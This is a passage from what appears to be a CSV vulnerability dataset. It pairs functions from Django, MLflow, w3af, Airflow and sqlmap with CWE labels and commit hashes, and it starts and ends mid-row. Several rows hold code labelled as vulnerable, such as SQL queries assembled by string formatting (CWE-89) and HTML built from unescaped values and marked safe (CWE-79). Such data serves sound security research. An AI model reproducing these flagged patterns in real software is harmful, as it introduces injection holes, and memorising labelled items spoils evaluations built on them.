        return kwargs",CWE-703,django/django,bce890ace4a97ab7a7a9b918f1452c6592d9b08e,"def get_initkwargs(cls, form_list, initial_dict=None,
            instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the formwizard will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary of instance objects. This list
          is only used when `ModelForm`s are used. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the formwizard instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""
        kwargs.update({
            'initial_dict': initial_dict or {},
            'instance_dict': instance_dict or {},
            'condition_dict': condition_dict or {},
        })
        init_form_list = SortedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                init_form_list[unicode(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                init_form_list[unicode(i)] = form

        # walk through the ne created list of forms
        for form in init_form_list.itervalues():
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the formwizard (by subclassing).
            for field in form.base_fields.itervalues():
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured

        # build the kwargs for the formwizard instances
        kwargs['form_list'] = init_form_list
        return kwargs"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data/uc_volume_dataset_source.py,0,"def _resolve(cls, raw_source: str):
        raise NotImplementedError",,mlflow/mlflow,8727237cab7d2f2605742d96bfeb09e751069c7e,"def _resolve(cls, raw_source: str):
        raise NotImplementedError"
,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,1,"def _create_default_experiment(self, session):
        """"""
        MLflow UI and client code expects a default experiment with ID 0.
        This method uses SQL insert statement to create the default experiment as a hack, since
        experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
        MySQL and other implementation do not allow value '0' for such cases.

        ToDo: Identify a less hacky mechanism to create default experiment 0
        """"""
        table = SqlExperiment.__tablename__
        creation_time = get_current_time_millis()
        default_experiment = {
            SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
            SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
            SqlExperiment.artifact_location.name: str(self._get_artifact_location(0)),
            SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE,
            SqlExperiment.creation_time.name: creation_time,
            SqlExperiment.last_update_time.name: creation_time,
        }

        def decorate(s):
            if is_string_type(s):
                return ""'{}'"".format(s)
            else:
                return ""{}"".format(s)

        # Get a list of keys to ensure we have a deterministic ordering
        columns = list(default_experiment.keys())
        values = "", "".join([decorate(default_experiment.get(c)) for c in columns])

        try:
            self._set_zero_value_insertion_for_autoincrement_column(session)
            session.execute(
                ""INSERT INTO {} ({}) VALUES ({});"".format(table, "", "".join(columns), values)
            )
        finally:
            self._unset_zero_value_insertion_for_autoincrement_column(session)",CWE-89,mlflow/mlflow,994d291e4cb6bfad93e8b6edfa2580aa82804abd,"def _create_default_experiment(self, session):
        """"""
        MLflow UI and client code expects a default experiment with ID 0.
        This method uses SQL insert statement to create the default experiment as a hack, since
        experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
        MySQL and other implementation do not allow value '0' for such cases.

        ToDo: Identify a less hacky mechanism to create default experiment 0
        """"""
        table = SqlExperiment.__tablename__
        default_experiment = {
            SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
            SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
            SqlExperiment.artifact_location.name: str(self._get_artifact_location(0)),
            SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE,
        }

        def decorate(s):
            if is_string_type(s):
                return ""'{}'"".format(s)
            else:
                return ""{}"".format(s)

        # Get a list of keys to ensure we have a deterministic ordering
        columns = list(default_experiment.keys())
        values = "", "".join([decorate(default_experiment.get(c)) for c in columns])

        try:
            self._set_zero_value_insertion_for_autoincrement_column(session)
            session.execute(
                ""INSERT INTO {} ({}) VALUES ({});"".format(table, "", "".join(columns), values)
            )
        finally:
            self._unset_zero_value_insertion_for_autoincrement_column(session)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/mangle/test_sed.py,0,"def test_request_headers(self):
        headers = Headers([('content-type', 'text/html')])
        request = HTTPRequest(self.url, headers=headers)

        option_list = self.plugin.get_options()
        option_list['expressions'].set_value('qh/html/xml/')        
        self.plugin.set_options(option_list)
        
        mod_request = self.plugin.mangle_request(request)
        
        value, _ = mod_request.get_headers().iget('content-type')
        self.assertEqual(value, 'text/xml')",,andresriancho/w3af,80b74aab6c85d3238ded3c24e85c3f79dbd31d48,"def test_request_headers(self):
        headers = Headers([('content-type', 'text/html')])
        request = HTTPRequest(self.url, headers=headers)

        option_list = self.plugin.get_options()
        option_list['expressions'].set_value('qh/html/xml/')        
        self.plugin.set_options(option_list)
        
        mod_request = self.plugin.mangle_request(request)
        
        value, _ = mod_request.get_headers().iget('content-type')
        self.assertEqual(value, 'text/xml')"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_table_description(self, cursor, table_name):
        ""Returns a description of the table, with the DB-API cursor.description interface.""
        cursor.execute(""SELECT * FROM %s WHERE ROWNUM < 2"" % self.connection.ops.quote_name(table_name))
        description = []
        for desc in cursor.description:
            name = force_text(desc[0]) # cx_Oracle always returns a 'str' on both Python 2 and 3
            name = name % {} # cx_Oracle, for some reason, doubles percent signs.
            description.append(FieldInfo(*(name.lower(),) + desc[1:]))
        return description",CWE-89,django/django,b6ad9998e6436e81f7dfbf1961a147d00816fb1f,"def get_table_description(self, cursor, table_name):
        ""Returns a description of the table, with the DB-API cursor.description interface.""
        cursor.execute(""SELECT * FROM %s WHERE ROWNUM < 2"" % self.connection.ops.quote_name(table_name))
        description = []
        for desc in cursor.description:
            name = force_text(desc[0]) # cx_Oracle always returns a 'str' on both Python 2 and 3
            description.append(FieldInfo(*(name.lower(),) + desc[1:]))
        return description"
,UNKNOWN,UNKNOWN,django/contrib/admin/widgets.py,1,"def render(self, name, value, attrs=None):
        if attrs is None:
            attrs = {}
        related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
        params = self.url_parameters()
        if params:
            url = '?' + '&amp;'.join(['%s=%s' % (k, v) for k, v in params.items()])
        else:
            url = ''
        if not attrs.has_key('class'):
            attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
        # TODO: ""id_"" is hard-coded here. This should instead use the correct
        # API to determine the ID dynamically.
        output.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> ' % \
            (related_url, url, name))
        output.append('<img src=""%simg/admin/selector-search.gif"" width=""16"" height=""16"" alt=""%s"" /></a>' % (settings.ADMIN_MEDIA_PREFIX, _('Lookup')))
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(u''.join(output))",CWE-79,django/django,1bfed070c32173e69be6272b274506c1bd56d413,"def render(self, name, value, attrs=None):
        if attrs is None:
            attrs = {}
        related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
        params = self.url_parameters()
        if params:
            url = '?' + '&amp;'.join(['%s=%s' % (k, v) for k, v in params.items()])
        else:
            url = ''
        if not attrs.has_key('class'):
          attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
        # TODO: ""id_"" is hard-coded here. This should instead use the correct
        # API to determine the ID dynamically.
        output.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> ' % \
            (related_url, url, name))
        output.append('<img src=""%simg/admin/selector-search.gif"" width=""16"" height=""16"" alt=""%s"" /></a>' % (settings.ADMIN_MEDIA_PREFIX, _('Lookup')))
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(u''.join(output))"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/sensors/test_gcs.py,1,"def test_gcs_object_existence_sensor_return_value(self, mock_defer, mock_hook):
        task = GCSObjectExistenceSensor(
            task_id=""task-id"",
            bucket=TEST_BUCKET,
            object=TEST_OBJECT,
            google_cloud_conn_id=TEST_GCP_CONN_ID,
            deferrable=True,
        )
        mock_hook.return_value.list.return_value = True
        return_value = task.execute(mock.MagicMock())
        assert return_value",CWE-703,apache/airflow,5e38319f750f8443e29609a68ffbddaccdc3765c,"def test_gcs_object_existence_sensor_return_value(self, mock_defer, mock_hook):
        task = GCSObjectExistenceSensor(
            task_id=""task-id"",
            bucket=TEST_BUCKET,
            object=TEST_OBJECT,
            google_cloud_conn_id=TEST_GCP_CONN_ID,
            deferrable=True,
        )
        mock_hook.return_value.list.return_value = True
        return_value = task.execute(mock.MagicMock())
        assert return_value, True"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/forms_tests/widget_tests/test_select.py,0,"def test_choices_select_inner(self):
        self.check_html(self.nested_widget, 'nestchoice', 'inner1', html=(
            """"""<select name=""nestchoice"">
            <option value=""outer1"">Outer 1</option>
            <optgroup label=""Group &quot;1&quot;"">
            <option value=""inner1"" selected>Inner 1</option>
            <option value=""inner2"">Inner 2</option>
            </optgroup>
            </select>""""""
        ))",CWE-Unknown,django/django,676bd084f2509f4201561d5c77ed4ecbd157bfa0,"def test_choices_select_inner(self):
        self.check_html(self.nested_widget, 'nestchoice', 'inner1', html=(
            """"""<select name=""nestchoice"">
            <option value=""outer1"">Outer 1</option>
            <optgroup label=""Group &quot;1&quot;"">
            <option value=""inner1"" selected>Inner 1</option>
            <option value=""inner2"">Inner 2</option>
            </optgroup>
            </select>""""""
        ))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/auth/autocomplete_js.py,0,"def _find_form_submit_strategy(self, chrome, form):
        """"""
        The second challenge with sites which rely heavily on javascript is that
        there might NOT be an <input> with type ""submit"" which can be clicked
        to submit the form.

        This method attempts to solve that problem by testing different algorithms
        to detect ""the login button"".

        :param chrome: The chrome instance
        :param form: The LoginForm identified by the previous steps
        :return: True if we were able to submit the login form and the browser
                 obtained a valid session.
        """"""
        form_submitter = FormSubmitter(chrome,
                                       form,
                                       self.login_form_url,
                                       self.username,
                                       self.password,
                                       self._debugging_id)

        for form_submit_strategy in form_submitter.submit_form():

            if not self.has_active_session(debugging_id=self._debugging_id):
                # No need to set the state of the chrome browser back to the
                # login page, that is performed inside the FormSubmitter
                continue

            msg = '%s is a valid form submit strategy for %s'
            args = (form_submit_strategy.get_name(), form)
            self._log_debug(msg % args)

            return form_submit_strategy

        msg = 'No form submit strategy was found to generate a valid session for form %s'
        args = (form,)
        self._log_debug(msg % args)

        return None",,andresriancho/w3af,cafcc9f0218fa1a07dedff8c7f767ced3bf80189,"def _find_form_submit_strategy(self, chrome, form):
        """"""
        The second challenge with sites which rely heavily on javascript is that
        there might NOT be an <input> with type ""submit"" which can be clicked
        to submit the form.

        This method attempts to solve that problem by testing different algorithms
        to detect ""the login button"".

        :param chrome: The chrome instance
        :param form: The LoginForm identified by the previous steps
        :return: True if we were able to submit the login form and the browser
                 obtained a valid session.
        """"""
        form_submitter = FormSubmitter(chrome,
                                       form,
                                       self.login_form_url,
                                       self.username,
                                       self.password,
                                       self._debugging_id)

        for form_submit_strategy in form_submitter.submit_form():

            if not self.has_active_session(debugging_id=self._debugging_id):
                # No need to set the state of the chrome browser back to the
                # login page, that is performed inside the FormSubmitter
                continue

            msg = '%s is a valid form submit strategy for %s'
            args = (form_submit_strategy.get_name(), form)
            self._log_debug(msg % args)

            return form_submit_strategy

        # No form submit strategy was found to generate a valid session
        return None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        args = cmdLineParser()
        cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")

            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                target = None

                                try:
                                    kb.targets = OrderedSet()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if target and not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        os._exitcode = 1

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit as ex:
        os._exitcode = ex.code or 0

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        os._exitcode = 255

        if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
            errMsg = ""permission error occurred while using Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Insufficient system resources"" in excMsg:
            errMsg = ""resource exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Permission denied: '"" in excMsg:
            match = re.search(r""Permission denied: '([^']*)"", excMsg)
            errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""invalid maximum character passed to PyUnicode_New"" in excMsg and re.search(r""\A3\.[34]"", sys.version) is not None:
            errMsg = ""please upgrade the Python version (>= 3.5) ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue18183')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
            errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)"", excMsg)
            logger.critical(errMsg)
            raise SystemExit

        elif ""hash_randomization"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7.3. Please update accordingly ""
            errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
            errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
            errMsg += ""Please rerun with option '--threads=1'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
            errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
            errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
            errMsg = ""wrong websocket library detected""
            errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
            errMsg = ""there has been a problem in initialization of GUI interface ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
            errMsg = ""detected usage of files from different versions of sqlmap""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        elif valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""<frozen"", ""Can't find file for module"", ""SAXReaderNotAvailable"", ""source code string cannot contain null bytes"", ""No module named"", ""tp_name field"", ""module 'sqlite3' has no attribute 'OperationalError'"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""PermissionError: [WinError 5]"", ""multiprocessing"")):
            errMsg = ""there is a permission problem in running multiprocessing on this system. ""
            errMsg += ""Please rerun with '--disable-multi'""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""sqlmap.conf"", ""Test"")):
            errMsg = ""you are trying to run (hidden) development tests inside the production environment""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""HTTPNtlmAuthHandler"", ""'str' object has no attribute 'decode'"")):
            errMsg = ""package 'python-ntlm' has a known compatibility issue with the ""
            errMsg += ""Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""AttributeError: 'module' object has no attribute 'F_GETFD'"" in excMsg:
            errMsg = ""invalid runtime (\""%s\"") "" % excMsg.split(""Error: "")[-1].strip()
            errMsg += ""(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""your sqlmap version is outdated""
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)
            conf.hashDB.close()         # NOTE: because of PyPy

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()",,sqlmapproject/sqlmap,e8e7d66356aaa8904956e8a214b6256548b8dc54,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        args = cmdLineParser()
        cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")

            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                target = None

                                try:
                                    kb.targets = OrderedSet()
                                    target = targets[i]

                                    if not re.search(r""(?i)\Ahttp[s]*://"", target):
                                        target = ""http://%s"" % target

                                    infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if target and not isinstance(ex, SqlmapUserQuitException):
                                        errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = ""user quit""
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
